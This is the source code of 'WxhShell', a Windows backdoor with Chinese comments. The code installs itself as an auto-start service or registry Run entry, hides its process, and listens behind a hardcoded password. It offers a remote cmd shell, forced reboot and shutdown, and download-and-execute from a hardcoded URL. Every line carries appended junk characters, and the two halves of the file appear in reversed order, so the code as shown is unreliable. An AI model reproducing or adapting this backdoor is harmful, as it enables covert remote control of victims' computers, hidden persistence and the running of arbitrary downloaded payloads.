    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r| ]YS6  
    if(Boot(SHUTDOWN)) q$b 4S4Z7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;vv-v,LQ  
    else { j+dQI_']x  
    closesocket(wsh); Qv'x+GVW]  
    ExitThread(0); V?0IMc  
    } 0WKS  
    break; VpB)5>  
    } K0B<9Wi |  
  // 获取shell ")txFe  
  case 's': { ~:0w%  
    CmdShell(wsh); 5}w   
    closesocket(wsh); |*b-m k  
    ExitThread(0); 6ce-92n  
    break; XjP;O,x  
  }  .9r85  
  // 退出 !J!&JQ|  
  case 'x': { I S'Uuuz7g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KZcmNli&A  
    CloseIt(wsh); =O8>[u;  
    break; <HN{.p{  
    } h~CLJoK<  
  // 离开 uM,Ps}  
  case 'q': { }a9G,@:k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); djw\%00&#  
    closesocket(wsh); gJ9"$fIPc  
    WSACleanup(); E]m?R 4  
    exit(1); < FO=PM  
    break; bX:h"6{=R  
        } u-:3C<&>  
  } 7m]J7 +4  
  } $)8,dS  
S++~w9}  
  // 提示信息 yf8kBT:&S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g*LD}`X/-  
} :Y1;= W  
  } ~7*2Jp'  
3/ }  
  return; 10c.#9$  
} <Up ?w/9  
nu-&vX  
// shell模块句柄 =Tl_~OR  
int CmdShell(SOCKET sock) NIbK3`1  
{ j4 #uj[A  
STARTUPINFO si; ~gMt U  
ZeroMemory(&si,sizeof(si)); u-4@[*^T$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |vGHhzZ|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H, :]S-T  
PROCESS_INFORMATION ProcessInfo; fbbbTZy  
char cmdline[]="cmd"; Nf3UVK8LtS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rc1k_fZ}  
  return 0; ,J!$Q0e  
} #eJ<fU6Da  
l$EN7^%w  
// 自身启动模式 <.gDg?'3  
int StartFromService(void) \#I$H9O  
{ ) =29Hm"  
typedef struct p WJ EFm  
{ -,p=;t#(  
  DWORD ExitStatus; PS[ C!s&KE  
  DWORD PebBaseAddress; {A:uy  
  DWORD AffinityMask; ,bd jk(  
  DWORD BasePriority; _(kaaWJ  
  ULONG UniqueProcessId; KAFR.h:p9  
  ULONG InheritedFromUniqueProcessId; Xw!\,"{s  
}   PROCESS_BASIC_INFORMATION; OVe0{} j  
E8}evi  
PROCNTQSIP NtQueryInformationProcess; }shxEsq  
KbvMp1'9P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e}d(.H%l0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |.UY' B  
C=r2fc~w  
  HANDLE             hProcess; sAL ]N][Y  
  PROCESS_BASIC_INFORMATION pbi; n%J=!z3  
#m{*]mY@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wx{E\ l  
  if(NULL == hInst ) return 0; Ws@'2i\;  
&.*UVc2+Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )&7. E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4#03x:/<\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q,xL8i M,  
^1bslCe   
  if (!NtQueryInformationProcess) return 0; Ms(xQ[#+  
jBw)8~tYm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v CaN[  
  if(!hProcess) return 0; TD}<U8I8_  
UDg' s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8v& \F  
=L" 0]4K  
  CloseHandle(hProcess); .w.:o2L  
vv @m{,7#Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Qn7+?P  
if(hProcess==NULL) return 0; 'cXdc  
3N+lWuE}K  
HMODULE hMod; FI$:R  
char procName[255]; .9qK88fUR  
unsigned long cbNeeded; pD732L@q  
oY18a*_>M1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |:=o\eu&  
J/?Nf2L4  
  CloseHandle(hProcess); MePD:;mm^  
6@J=n@J$p  
if(strstr(procName,"services")) return 1; // 以服务启动 _6ZjF>f  
c[dzO .~  
  return 0; // 注册表启动 \WCQ>c?~  
} ~9dpB>+  
hi0HEm\  
// 主模块 fe?Z33V  
int StartWxhshell(LPSTR lpCmdLine)  .w9LJ  
{ smQ^(S^  
  SOCKET wsl; f&^(f1WO  
BOOL val=TRUE; DZ8|20b  
  int port=0; @!#e\tx  
  struct sockaddr_in door; Z',!LK!  
JbMTULA  
  if(wscfg.ws_autoins) Install(); Z'JS@dV  
??rS h Mu  
port=atoi(lpCmdLine); &v{Ehkr*  
Tu#< {'1$  
if(port<=0) port=wscfg.ws_port; SA x9cjj+  
y/lF1{}5  
  WSADATA data; kXMp()N8`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -Aj)<KNx[  
gb ga"WO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6[> lzEZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :HkBP90o  
  door.sin_family = AF_INET; Y`|+sND  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J-F".6i5  
  door.sin_port = htons(port); sHP -@  
q+ $6D;9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (yOkf-e2y  
closesocket(wsl); >qjV{M  
return 1; =l ,P'E  
} j2Zp#E!  
':'g!b`/  
  if(listen(wsl,2) == INVALID_SOCKET) { [VCC+_  
closesocket(wsl); a&y^Ps6=  
return 1; l>?c AB[  
} d2 ^}ooE  
  Wxhshell(wsl); c?p^!zG  
  WSACleanup(); S&op|Z)1  
]n22+]D  
return 0; UkV?,P@l  
y7R#PkQ~  
} Hd|l6/[xz  
`2~>$Tr  
// 以NT服务方式启动 fV(3RG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y Y:Bw W:  
{ .1x04Np!  
DWORD   status = 0; $Gn.G_"v  
  DWORD   specificError = 0xfffffff;  R$a<=  
#x%'U}sF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1SQATUV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c}x1-d8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S)rZE*~2  
  serviceStatus.dwWin32ExitCode     = 0; VSj!Gm0LB  
  serviceStatus.dwServiceSpecificExitCode = 0; ));#oQol9  
  serviceStatus.dwCheckPoint       = 0; "cH RGJG#  
  serviceStatus.dwWaitHint       = 0; 97}]@xN=  
)M*w\'M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g|=_@ pL  
  if (hServiceStatusHandle==0) return; 8#I>`z^F  
KWwtL"3  
status = GetLastError(); W+nu=iQ!  
  if (status!=NO_ERROR)  )vr@:PE  
{ uFd$*`jS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MfTLa)Rz  
    serviceStatus.dwCheckPoint       = 0; N!A20Bv  
    serviceStatus.dwWaitHint       = 0; ?I.9?cQXZ  
    serviceStatus.dwWin32ExitCode     = status; LzygupxY!  
    serviceStatus.dwServiceSpecificExitCode = specificError; A=CeeC]}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); od;-D~  
    return; 'X~tt#T  
  } z*Sm5i&)_q  
#XV=,81w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QbU5FPiN  
  serviceStatus.dwCheckPoint       = 0; >&L|oq7$  
  serviceStatus.dwWaitHint       = 0; N,ht<l\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oL4W>b )  
} *2X6;~  
N&8TG  
// 处理NT服务事件,比如:启动、停止 -"(*'hD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wak26W>I3  
{ #kg`rrF r  
switch(fdwControl) 1CtUf7 `/Q  
{ ;D5>iek5  
case SERVICE_CONTROL_STOP: Hg+<GML  
  serviceStatus.dwWin32ExitCode = 0; [ X*p [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c? ::l+  
  serviceStatus.dwCheckPoint   = 0; 91 jRIB  
  serviceStatus.dwWaitHint     = 0; PN}+LOD<t  
  { GqFx^dY4*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D6SUzI1+H  
  } tMr7d  
  return; :}Jx  
case SERVICE_CONTROL_PAUSE: f^%3zWp|-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h!"2Ux3!x  
  break; {%jAp11y+O  
case SERVICE_CONTROL_CONTINUE: "EW8ll7r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D?|D)"?qb  
  break; 5f0M{J,KC  
case SERVICE_CONTROL_INTERROGATE: Ht`fC|E  
  break; >Wg= Tuef  
}; LPs%^*8(2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j:9M${~  
} "tCI_ Zi;  
Wzq W1<*`  
// 标准应用程序主函数 |jsI-?%8J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .X g.,kW  
{ OqGp|`  
a[ {qb  
// 获取操作系统版本 OT#@\/>  
OsIsNt=GetOsVer(); w,~*ead  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z*3b2nV  
9#E *o~1  
  // 从命令行安装 1nVQYqT_  
  if(strpbrk(lpCmdLine,"iI")) Install(); $KcAB0 B8  
SA, ~q&  
  // 下载执行文件 gt4GN`-k  
if(wscfg.ws_downexe) { FlO?E3d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o.s'0xP]  
  WinExec(wscfg.ws_filenam,SW_HIDE); f5}afPk  
} >}k*!J|  
Y A.&ap  
if(!OsIsNt) { {R$`YWk  
// 如果时win9x,隐藏进程并且设置为注册表启动 "2e3 <:$  
HideProc(); G/ x6zdk  
StartWxhshell(lpCmdLine); ]#~J[uk  
} KFM[caKeJO  
else g%2G=gR$?z  
  if(StartFromService()) *0U#Z]t  
  // 以服务方式启动 deVd87;@7[  
  StartServiceCtrlDispatcher(DispatchTable); 4^(x)r &(?  
else Ff<cY%t  
  // 普通方式启动 ] 0i[=  
  StartWxhshell(lpCmdLine); mR}8}K]L  
&{)<Q(g  
return 0; 4S(G366  
} '! >9j,BJ  
TtJX(N~  
#rHMf%0  
>WHajYO"  
=========================================== 81RuNs]  
;Q ZG<  
j;$f[@0o  
=B&|\2`{)  
l@Lk+-[D  
0GMb?/   
" DLwlA !z  
fb f&bJT  
#include <stdio.h> St;9&A  
#include <string.h> G>~/  
#include <windows.h> '[ c-$X2Ak  
#include <winsock2.h> c<13r=+  
#include <winsvc.h> j)i c7 b  
#include <urlmon.h> %/eG{ oh-  
TF%n1H-sF  
#pragma comment (lib, "Ws2_32.lib") h!B{7J  
#pragma comment (lib, "urlmon.lib")  v9T 3=  
e_-g|ukC  
#define MAX_USER   100 // 最大客户端连接数 mbAzn  
#define BUF_SOCK   200 // sock buffer Eu |/pH=:  
#define KEY_BUFF   255 // 输入 buffer ;apLMMsWC  
=K@LEZZ'/<  
#define REBOOT     0   // 重启 WjBml'^RY  
#define SHUTDOWN   1   // 关机 :b9#e g  
%<~EwnoT  
#define DEF_PORT   5000 // 监听端口 %>&~?zrq  
.p{lzI9  
#define REG_LEN     16   // 注册表键长度 TT/=0^"  
#define SVC_LEN     80   // NT服务名长度 #h ud_  
GS*O{u  
// 从dll定义API U["<f`z4\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W3l[a^1d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nA Nl9;G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  7]@M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /{({f?k<\/  
xK8m\=#  
// wxhshell配置信息 Fpo}UQQbc  
struct WSCFG { t:dvgRJt*  
  int ws_port;         // 监听端口 4][VK/v+  
  char ws_passstr[REG_LEN]; // 口令 -0uGzd+m*  
  int ws_autoins;       // 安装标记, 1=yes 0=no (muJ-~CJk  
  char ws_regname[REG_LEN]; // 注册表键名 /XG7M=A$o  
  char ws_svcname[REG_LEN]; // 服务名 Cpzdk~+H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E.yFCaL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }?b\/l<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pg!mOyn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W)`>'X`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,!SbH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =}ZY`O*/  
uP7|#>1%  
}; &=zJ MGa  
3{H!B&sb  
// default Wxhshell configuration depCqz@  
struct WSCFG wscfg={DEF_PORT, 'bv(T2d~~  
    "xuhuanlingzhe", &WCVdZK:  
    1, 7d{xXJ-  
    "Wxhshell", 6 y"r '  
    "Wxhshell", %to.'R  
            "WxhShell Service", X:FyNUa  
    "Wrsky Windows CmdShell Service", >$<Q:o}^  
    "Please Input Your Password: ", -vT$UP  
  1, $IKN7  
  "http://www.wrsky.com/wxhshell.exe", 823y;  
  "Wxhshell.exe" qvsfU*wo?  
    }; w6 Y+Y;,'f  
,0L< wa  
// 消息定义模块 % [,^2s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q1h v2*/U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4/o9K*M+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *nM.`7g*[  
char *msg_ws_ext="\n\rExit."; G4F~V't  
char *msg_ws_end="\n\rQuit."; Rlr[uU_  
char *msg_ws_boot="\n\rReboot..."; ]~WIGl"g  
char *msg_ws_poff="\n\rShutdown..."; ;?o"{mbb  
char *msg_ws_down="\n\rSave to "; +'e3YF+'  
z ISy\uka  
char *msg_ws_err="\n\rErr!"; RvW>kATb_F  
char *msg_ws_ok="\n\rOK!"; ? !34qh  
~"~uXNd  
char ExeFile[MAX_PATH]; F, 5}3$  
int nUser = 0; Z${@;lgP  
HANDLE handles[MAX_USER]; t/"9LMKs?  
int OsIsNt; (+\K  
`O=LQ m`  
SERVICE_STATUS       serviceStatus; &kOb#\11u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (i'wa6[E8  
*u<@_Oa  
// 函数声明 MU_ >+Wnf  
int Install(void); :n?}G0y  
int Uninstall(void); $r)nvf`\  
int DownloadFile(char *sURL, SOCKET wsh); RA62Z&W3  
int Boot(int flag); %hzNkyD)Y  
void HideProc(void); PJcz] <  
int GetOsVer(void); f1VA61z{)  
int Wxhshell(SOCKET wsl); CV,[x[L# {  
void TalkWithClient(void *cs); |Oaj Jux  
int CmdShell(SOCKET sock); T\HP5&  
int StartFromService(void); -Kf'02  
int StartWxhshell(LPSTR lpCmdLine); d7QQ5FiB  
b+}*@xhl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g>R md[!/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ib4 8`  
(3G]-  
// 数据结构和表定义 Ie;}k;?-  
SERVICE_TABLE_ENTRY DispatchTable[] = 0g(hY:  
{ kjW`k?'s  
{wscfg.ws_svcname, NTServiceMain}, 0ID 8L [  
{NULL, NULL} I1(, J  
}; <tTn$<b  
2\!.w^7'^T  
// 自我安装 ~ #~Kxh  
int Install(void) A d7=JzV  
{ Icf@uQ6  
  char svExeFile[MAX_PATH]; 0)lG~_q  
  HKEY key; P8s'e_t  
  strcpy(svExeFile,ExeFile); %lPF q-  
]urcA,a  
// 如果是win9x系统,修改注册表设为自启动 f;%4O'  
if(!OsIsNt) { *K\/5Fzl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7[V'3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^\\cGJ&8c  
  RegCloseKey(key); *Mqg_} 0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $wVY)p9Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B|~\m ~  
  RegCloseKey(key); .Isg1qrC  
  return 0; aARm nV  
    } @*l}2W  
  } \d%SC<s  
} z{^XU"yB  
else { PHD$E s  
i@_|18F]`  
// 如果是NT以上系统,安装为系统服务 *Qg/W? "m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :h3 Gk;u  
if (schSCManager!=0) te'<xfG  
{ +Mv0X%(N  
  SC_HANDLE schService = CreateService eA_1?j]E3  
  ( KFCzf_P!  
  schSCManager, Q_1EAxt  
  wscfg.ws_svcname, h_d!G+-]  
  wscfg.ws_svcdisp, s6).?oE  
  SERVICE_ALL_ACCESS, T.W/S0#j3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^ tm,gh  
  SERVICE_AUTO_START, Ar=pzQ<Z{  
  SERVICE_ERROR_NORMAL, Mp$ uEi  
  svExeFile, r0j:ll d  
  NULL, y)#Ib*?  
  NULL, !Nl"y'B|  
  NULL, IEeh)aj[  
  NULL, M6|Q~8$  
  NULL Mk[_yqoCO  
  ); *+qXX CA  
  if (schService!=0) vC J  
  { R`>E_SY  
  CloseServiceHandle(schService); OjeM#s#N!  
  CloseServiceHandle(schSCManager); >&U]j*'4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rxCu V  
  strcat(svExeFile,wscfg.ws_svcname); )Hlr 09t=]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w},k~5U^s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 18ci-W#p  
  RegCloseKey(key); oOe5IczS(  
  return 0; 4"wuqr|o  
    } Fv5@-&y$W  
  } S| !U=&  
  CloseServiceHandle(schSCManager); lgA9p 4-  
} HHoh//(\  
} O-bC+vB]M  
^i#q{@g  
return 1; <tgJ-rnL  
} "o}3i!2Qr  
MWsBZJRr  
// 自我卸载 )0RH"#, 2L  
int Uninstall(void) /o![%&-l  
{ 0ltq~K  
  HKEY key; UG48g}  
=1yU& PJ  
if(!OsIsNt) { hMeE@Q0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R^fVw Dl\  
  RegDeleteValue(key,wscfg.ws_regname); i v&:X3iB  
  RegCloseKey(key); 0j4bu}@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zn>*^h0B  
  RegDeleteValue(key,wscfg.ws_regname); +`_%U7p(  
  RegCloseKey(key); !1)lGjMW  
  return 0; x"5/1b3aq  
  } "DfvoQP  
} ^0A'XCULG  
} vXRfsv y  
else { z9YC9m)jK  
VGA?B@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &T}~h^/t  
if (schSCManager!=0) EM;]dLh  
{ -GDX#A-J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .P9ALJP(b  
  if (schService!=0) eB<R@a|?S  
  { X9#Od9cNaC  
  if(DeleteService(schService)!=0) { oAA%pZ@  
  CloseServiceHandle(schService); kdITh9nx<r  
  CloseServiceHandle(schSCManager); 6|rqsk  
  return 0; ;:hyW,J  
  } 6#K1LY5}  
  CloseServiceHandle(schService);  o-_0  
  } DL_2%&k/  
  CloseServiceHandle(schSCManager); [>oq~[e)?  
} j{0_K +B  
} `<8~tS/. w  
}rxFX  
return 1; a7)q^;:O  
} b`PAOQ  
/J<?2T9G  
// 从指定url下载文件 ="P 3TP  
int DownloadFile(char *sURL, SOCKET wsh) 2N9 BI-a  
{ M4XnuFGB[w  
  HRESULT hr; gk"S`1>  
char seps[]= "/"; 6K5KZZG  
char *token; W r );A{  
char *file; sF C&DTb?  
char myURL[MAX_PATH]; ~Wm`SIV  
char myFILE[MAX_PATH]; #'mb9GWD3  
Yi1_oe  
strcpy(myURL,sURL); A5Qzj]{ba  
  token=strtok(myURL,seps); <=/v%VXPm  
  while(token!=NULL) #)AcK|*y  
  { t7H2z}06=h  
    file=token; p)(mF"\8=  
  token=strtok(NULL,seps); gz;().{  
  } [9u/x%f(  
) **k3u t4  
GetCurrentDirectory(MAX_PATH,myFILE); l[.*X  
strcat(myFILE, "\\"); 6+_)(+ c  
strcat(myFILE, file); i%GjtYjS  
  send(wsh,myFILE,strlen(myFILE),0); .;u(uB;J6  
send(wsh,"...",3,0); mR,p?[P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |Vs|&0  
  if(hr==S_OK) OY*BVJ^  
return 0; Ka1 F7b  
else !u.{<51b  
return 1; ,--/oP  
Ash"D~  
} g2l|NI#c^  
IJ3[6>/ M0  
// 系统电源模块 R|% 3JE0  
int Boot(int flag) K2$mz  
{ BA' ($D>  
  HANDLE hToken; : FF:{&d  
  TOKEN_PRIVILEGES tkp; m=k(6  
JAj<*TB.%  
  if(OsIsNt) { +^{;o0kcx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u|<Z};a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ICo_O] Ke  
    tkp.PrivilegeCount = 1; y4$UPLm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _|D8~\y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zk$AAjC&  
if(flag==REBOOT) { 2/RK pl &  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z kYl IUD  
  return 0; "Nj(0&  
} F IDNhu  
else { t(VG#}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EMU~gwPR  
  return 0; 7qt<C LJ  
} #!u P >/  
  } h ^g"FSzP  
  else { + 1\1Z@\M  
if(flag==REBOOT) { 6* cm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8s-RNA>7^  
  return 0; ?^mgK9^v@  
} .qi$X!0  
else { ]|<PV5SY3.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8N4W}YBs  
  return 0; }OJ*o  
} GeWB"(t  
} <.CO{L\e  
h']R P  
return 1; ,RKBGOz?f  
} JQYIvo1,Q  
,w,>pO'[  
// win9x进程隐藏模块 K20n355uE  
void HideProc(void) M(HU^?B{'  
{ >};,Byv!%  
w5gN8ZF3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -Cd4yWkO  
  if ( hKernel != NULL ) iN8?~T}w  
  { LO[1xE9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v Q[{<|K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n{d}]V@  
    FreeLibrary(hKernel); F7^8Ej9*a  
  } y A?>v'K  
*_`T*$  
return; /|t vGC.#  
} v]F q}I"  
0*L|r Jf  
// 获取操作系统版本 /D`M?nD7  
int GetOsVer(void) #pBAGm3  
{ >hoIJZP,  
  OSVERSIONINFO winfo; hE\,4c1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Re5m  
  GetVersionEx(&winfo); DBAJkBs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) </t_<I0{  
  return 1; J_}&Btb)e  
  else <89@k(\ /  
  return 0; (9';zw   
} GC66n1- X  
Odxq]HlbO  
// 客户端句柄模块 |2CW!is  
int Wxhshell(SOCKET wsl) <Xm5re.  
{ ]/p0j$Tq$  
  SOCKET wsh; VXQS~#dQj  
  struct sockaddr_in client; aw/Y#  
  DWORD myID; &~pj)\_  
THJ KuWy  
  while(nUser<MAX_USER) I|RN/RVN  
{ daWmF  
  int nSize=sizeof(client); -le:0NUwI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xx:0Nt]  
  if(wsh==INVALID_SOCKET) return 1; Q&(?D  
{-^>) iJqt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \cPGyeq  
if(handles[nUser]==0) JnhHV(H  
  closesocket(wsh); BT 98WR"\  
else $%;NX[>j  
  nUser++; ^4Tr @g#]"  
  } h?.6e9Y4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \@pl:Os  
\>cZ=  
  return 0; TMKemci  
} Mb\~WUWI  
N TXT0:  
// 关闭 socket U'";  
void CloseIt(SOCKET wsh) 2-o,4EfHVO  
{ ETH`.~%  
closesocket(wsh); EM vV  
nUser--; >G' NI?$  
ExitThread(0); m4 E 6L  
} ?P<&8eY  
>gFF>L>  
// 客户端请求句柄 $Y$!nPO  
void TalkWithClient(void *cs) ~W5 fJd0  
{ zq4,%$y8|  
)K@ 20Q+0K  
  SOCKET wsh=(SOCKET)cs; 85 "DS-+e  
  char pwd[SVC_LEN]; 2r?g|< :  
  char cmd[KEY_BUFF]; Se"\PxBR  
char chr[1]; eX?o 4>  
int i,j; v&H&+:<  
{zbH.V[  
  while (nUser < MAX_USER) { o"Ef>5N  
}xLwv=Ia  
if(wscfg.ws_passstr) { &9o @x]) @  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); En5Bsz !  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jJ55Az?t:  
  //ZeroMemory(pwd,KEY_BUFF); (4M#(I~cE  
      i=0; +R2  
  while(i<SVC_LEN) { CFul_qZ/e  
<+_OgF1G  
  // 设置超时 &\0LR?Nh  
  fd_set FdRead; px4Z  
  struct timeval TimeOut; hJFQ/(  
  FD_ZERO(&FdRead); >:OOuf#  
  FD_SET(wsh,&FdRead); zXcSE"   
  TimeOut.tv_sec=8; |8+<qgQ  
  TimeOut.tv_usec=0; v{JCEb&wN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U?#6I-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aEZl ICpU7  
Yo7ctwzdH;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pNQd\nY|0  
  pwd=chr[0]; m?[F)<~a  
  if(chr[0]==0xd || chr[0]==0xa) { +"' h?7'C  
  pwd=0; Dm 'Q&  
  break; 4RTEXoXs  
  } Em4TEv  
  i++; &]#D`u  
    } ~0/=5 dC  
L x9`y t6  
  // 如果是非法用户,关闭 socket QZh8l-!#5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :&_@U$  
} b?w4Nx#  
xg3G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `uzRHbJ`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WU=Os8gR  
dZnq 96<:|  
while(1) { @&,r|-  
g@nE7H1V  
  ZeroMemory(cmd,KEY_BUFF); QF%@MK0zC  
Q|pz].0  
      // 自动支持客户端 telnet标准   =q6yb@  
  j=0; !_x-aro3<  
  while(j<KEY_BUFF) { o<C~67o_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oO= 6Kd+T  
  cmd[j]=chr[0]; q=96Ci_a  
  if(chr[0]==0xa || chr[0]==0xd) { t$Qav>D  
  cmd[j]=0; _Z8zD[l  
  break; r-'j#|^tz  
  } 56TUh_  
  j++; !sR`]0  
    } 0Q>Yoa 11  
)0UQy#r  
  // 下载文件 {H0B"i  
  if(strstr(cmd,"http://")) { 2Db[dk( ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); lW>bX C  
  if(DownloadFile(cmd,wsh)) "I+wU`AIek  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ u5%+GA-:  
  else IClnh1=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;itz` 9T  
  } sq :ff  
  else { >nTGvLOq  
iLS' 47  
